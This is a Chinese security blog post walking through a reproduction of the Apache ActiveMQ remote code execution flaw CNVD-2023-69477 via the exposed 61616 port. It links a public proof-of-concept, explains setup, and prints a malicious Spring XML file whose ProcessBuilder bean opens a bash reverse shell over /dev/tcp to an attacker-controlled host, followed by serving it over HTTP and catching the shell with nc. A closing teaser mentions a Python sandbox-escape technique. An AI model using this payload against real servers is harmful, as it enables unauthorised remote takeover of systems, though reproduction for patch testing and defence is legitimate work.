ApacheActiveMQRCE漏洞复现(CNVD-2023-69477)

admin 2025-12-22 03:58:02 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: ApacheActiveMQ存在远程代码执行漏洞CNVD-2023-69477,影响5.18.3以下多个版本。该漏洞源于默认开放的61616端口未对传入数据进行适当过滤,允许攻击者构造恶意数据实现RCE。文章提供了详细的漏洞复现步骤,包括使用GitHub上的PoC工具,配置环境,修改代码,最终实现反弹shell。 综合评分: 89 文章分类: 漏洞分析,漏洞POC,应用安全,WEB安全,实战经验


cover_image

Apache ActiveMQ RCE漏洞复现(CNVD-2023-69477)

OidBoy_G

实战攻防安全

2023年10月27日 12:16 河北

0x01 产品简介

  ActiveMQ是一个开源的消息代理和集成模式服务器,它支持Java消息服务(JMS) API。它是Apache Software Foundation下的一个项目,用于实现消息中间件,帮助不同的应用程序或系统之间进行通信。

0x02 漏洞概述

 Apache ActiveMQ 中存在远程代码执行漏洞,Apache ActiveMQ在默认安装下开放了61616服务端口,而该端口并没有对传入数据进行适当的过滤,从而使攻击者能够构造恶意数据以实现远程代码执行。

0x03 影响范围

Apache ActiveMQ < 5.18.3

Apache ActiveMQ < 5.17.6

Apache ActiveMQ < 5.16.7

Apache ActiveMQ < 5.15.16

0x04 漏洞复现

PoC地址:https://github.com/trganda/ActiveMQ-RCE

把项目Get到本地,导入IDEA中运行

直接运行会发现报错:java: 警告: 源发行版 11 需要目标发行版 11

PS:这种一般是你idea的 配置文件iml 与 项目中 配置的jdk版本是不一致导致的,需要安装jdk11

漏洞利用

修改Main.java以下两处

反弹shell

将rce.xml,上传至vps

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[bash -i >& /dev/tcp/your-ip/6666 0>&1]]></value>
          </list>
        </constructor-arg>
    </bean>

利用python开启http服务

nc开启监听

运行Main.java

成功反弹shell


查看原文:《Apache ActiveMQ RCE漏洞复现(CNVD-2023-69477)》

初探python栈帧逃逸 网络安全文章

初探python栈帧逃逸

文章总结: 文章介绍了Python生成器的概念和栈帧逃逸技术。通过生成器的gi_frame属性和f_back方法,可以获取沙箱外的全局符号表,从而突破沙箱限制。
评论:0   参与:  0